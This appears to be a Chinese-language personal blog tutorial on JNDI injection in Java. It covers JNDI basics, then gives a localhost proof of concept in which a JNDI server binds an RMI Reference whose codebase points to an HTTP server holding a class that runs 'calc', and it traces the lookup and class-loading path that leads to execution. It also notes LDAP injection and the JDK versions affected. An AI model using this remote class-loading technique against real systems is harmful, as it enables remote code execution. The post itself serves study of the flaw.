THIS IS B3c0me

记录生活中的点点滴滴

0%

JNDI注入

img

JNDI介绍

访问命名和目录服务的API

简介

JNDI(Java Naming and Directory Interface)是Java命名和目录接口的缩写。它是Java平台提供的一个标准API,用于访问各种命名和目录服务。JNDI可以用于在Java应用程序中查找和访问命名资源,如数据库连接、JMS队列、LDAP目录等。

JNDI提供了一种统一的访问不同命名和目录服务的方式,无论这些服务是本地的还是远程的。它抽象出了与底层命名和目录服务的交互细节,使开发人员能够通过统一的API来访问这些服务。

想象一下,你去一个大图书馆找一本书。你可能会去图书管理员那里,告诉他们书的名字,然后他们会帮助你找到这本书。JNDI就类似于这个图书管理员。

在Java程序中,你可能需要连接到数据库、消息队列或其他资源,像连接图书馆的书籍一样。JNDI就是Java平台提供的一个工具,帮助你查找和访问这些资源。

通过使用JNDI,你可以把这些资源的名字和在哪里找到它们的详细信息告诉JNDI,就像告诉图书管理员书名一样。然后,你就可以使用JNDI来查找和访问这些资源,而不用关心底层的细节。

当你需要数据库连接时,你只需告诉JNDI数据库的名字和连接信息,它将会帮助你获取一个连接。当你需要发送消息到某个队列时,也只需告诉JNDI队列的名字和相关信息,它将会帮助你发送消息到正确的队列。

简单来说,JNDI就是一个帮助你查找和访问资源的工具,类似于一个图书馆管理员,让你能够更方便地获取所需的资源。

通过JNDI,开发人员可以直接通过名称来访问和操作资源,而不需要关心底层服务的具体实现细节。JNDI提供了一组用于查找、绑定、解绑、删除等操作的API,使开发人员可以轻松地管理命名和目录服务,并将其集成到Java应用程序中。

JNDI广泛应用于Java企业级应用开发中,特别是在分布式系统中。它可以帮助开发人员统一管理和访问不同的资源,提高应用程序的可扩展性和可重用性。

支持的服务

  • RMI (JAVA远程方法调用)

  • LDAP (轻量级目录访问协议)

  • CORBA (公共对象请求代理体系结构)

  • DNS (域名服务)

    前三种都支持远程对象调用

支持的数据存储对象

  • Java序列化对象

  • JNDI Reference引用

  • Marshalled对象

  • RMI远程对象

  • CORBA 对象

优点

  • 包含了大量的命名和目录服务,使用通用接口来访问不同种类的服务;
  • 可以同时连接到多个命名或目录服务上;
  • 建立起逻辑关联,允许把名称同Java对象或资源关联起来,而不必知道对象或资源的物理ID。

组件

  • Javax.naming:包含了访问命名服务的类和接口。例如,它定义了Context接口,这是命名服务执行查询的入口。
  • Javax.naming.directory:对命名包的扩充,提供了访问目录服务的类和接口。例如,它为属性增加了新的类,提供了表示目录上下文的DirContext接口,定义了检查和更新目录对象的属性的方法。
  • Javax.naming.event:提供了对访问命名和目录服务时的事件通知的支持。例如,定义了NamingEvent类,这个类用来表示命名目录服务产生的事件,定义了侦听NamingEvents的NamingListener接口。
  • Javax.naming.ldap:这个包提供了对LDAP 版本3扩充的操作和控制的支持,通用包javax.naming.directory没有包含这些操作和控制。
  • Javax.naming.spi:这个包提供了一个方法,通过javax.naming和有关包动态增加对访问命名和目录服务的支持。这个包是为有兴趣创建服务提供者的开发者提供的。

漏洞

RMI攻击实现

注入原理

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

影响版本

JDK <= 8u121

在8u121之后com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false,就不能再利用了

以下实验的使用jdk1.7

JNDI和RMI结合使用

  • RMI服务端:RMIServer.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
    IRemoteObj remoteObj = new RemoteObjImpl();
    Registry r = LocateRegistry.createRegistry(1099);
    r.bind("remoteObj",remoteObj);

    }
    }
  • 远程接口:IRemoteObj.java

    1
    2
    3
    4
    5
    6
    7
    import java.rmi.Remote;
    import java.rmi.RemoteException;

    public interface IRemoteObj extends Remote {
    public String sayHello(String keywords) throws RemoteException;

    }
  • 实现接口的远程对象:RemoteObjImpl.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;

    public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
    public RemoteObjImpl() throws RemoteException{
    super();
    }

    @Override
    public String sayHello(String keywords){
    String upKeywords = keywords.toUpperCase();
    System.out.println(upKeywords);
    return upKeywords;
    }
    }
  • JNDI服务端:JNDIRMIServer.java

    1
    2
    3
    4
    5
    6
    7
    8
    import javax.naming.InitialContext;

    public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
    InitialContext initialContext = new InitialContext();
    initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
    }
    }
  • JNDI客户端:JNDIRMIClient.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    import javax.naming.InitialContext;

    public class JNDIRMIClient {
    public static void main(String[] args) throws Exception {
    InitialContext initialContext = new InitialContext();
    IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
    System.out.println(remoteObj.sayHello("hello"));
    }
    }

    这里的InitialContext()是构建一个初始上下文。通俗点来讲就是获取初始目录环境。

    当开启RMI服务和JNDI服务后,此时JNDI客户端便可成功发出请求

RMI攻击

通过上例可以看出JNDI可以和RMI结合使用,而攻击就要通过References类来绑定一个外部的远程对象的方式进行了。

1
Reference(String className, RefAddr addr, String factory, String factoryLocation)        
  • className : 远程加载时所使用的类名
  • classFactory : 加载的class中需要实例化类的名称
  • classFactoryLocation : 提供classes数据的地址可以是file/ftp/http协议

开启远程服务:在该目录下放一个Exec.class,进行远程调用

1
2
3
4
5
6
7
import java.io.IOException;

public class Exec {
public Exec() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

之后修改JNDIRMIServer,通过Reference绑定启动的远程服务对象

1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
public static void main(String[] args)throws Exception {
InitialContext initialContext = new InitialContext();
//initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());

Reference refobj = new Reference("Exec", "Exec", "http://localhost:7777/");
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",refobj);
}
}

将项目目录下的Exec.java编译成字节码文件

image-20230827113855942

重新启动RMIJNDIServer后,通过客户端JNDIClient成功执行恶意字节码文件(这里是本地测试的也可以修改http://localhost:7777/,进行远程调用

Exec类被成功调用执行

image-20230827114018355

攻击流程分析

跟进lookup,name就是我们传入的rmi://127.0.0.1:1099/remoteObj

image-20230827114721328

这里又调用了lookup,继续跟进,这里调用了var3的lookup,而var3的是RegistryContext,所以虽然我们通过JNDI的方式进行的调用,但最后还是会调用到RMI的流程中,所以这也就是JNDI能结合RMI使用的原因是JNDI的每个服务对应一个Context协议,而RMI对应的协议就是RegistryContext

image-20230827120217731

继续跟进lookup,还是会调用lookup,但调用后var2是ReferenceWrapper类型,而在JNDIRMIServer中实例化的是Reference

image-20230828110714518

分析一下这里的原因

跟进rebind,远程服务绑定时绑定的是Reference,但当客户端调用时变成了ReferenceWrapper,所以一定是在Reference绑定后进行了一些操作

image-20230828110855248

继续跟进rebind

image-20230828110956221

这里用var4调用了rebind,继续跟进

跟进后发现有一个encode操作

image-20230828111139244

继续跟进encode

发现:如果var1Reference类型或者Referenceable类型,则会返回一个ReferenceWrapper类型的var1

所以上个步骤的var2ReferenceWrapper类型的原因也就在这里

image-20230828111341988

回到刚才的lookup方法,由于刚才的rebind中进行了encode,所以这里对应的会返回一个decode的操作

image-20230828111810709

跟进后,发现了getReference(),在注入原理中提到过他可以获取绑定对象的引用,所以var3就变为了我们绑定的Reference对象

image-20230828112016903

之后就调用了NamingManager.getObjectInstance,在319行会调用getObjectFactoryFromReference,从引用中获取对象工厂

image-20230828113325061

跟进,他首先会进行类加载

image-20230828113440760

跟进loadClass,retrun中会调用本类中的另一个loadClass

image-20230828113732298

调用Class.forName,但他是调用AppClassLoader从本地找Exec.class,所以肯定是找不到的

找不到后,就会从codebase中寻找,codebase通过ref.getFactoryClassLocation(),就会变成我们传入的远程对象

image-20230828114009932

重新加载结束后通过最后的newInstance成功实例化,远程执行加载类

1
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

总结

codebase远程加载类是导致该漏洞的关键因素

LDAP攻击实现

注入原理

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是,LDAP+Reference的远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广

影响版本

JDK <= 8u191 且版本不为7u201、6u211、6u141、7u131、8u121

这些版本的com.sun.jndi.ldap.object.trustURLCodebase属性默认值为false

LDAP攻击

参考

  1. https://www.cnblogs.com/freelancy/p/17526233.html

欢迎关注我的其它发布渠道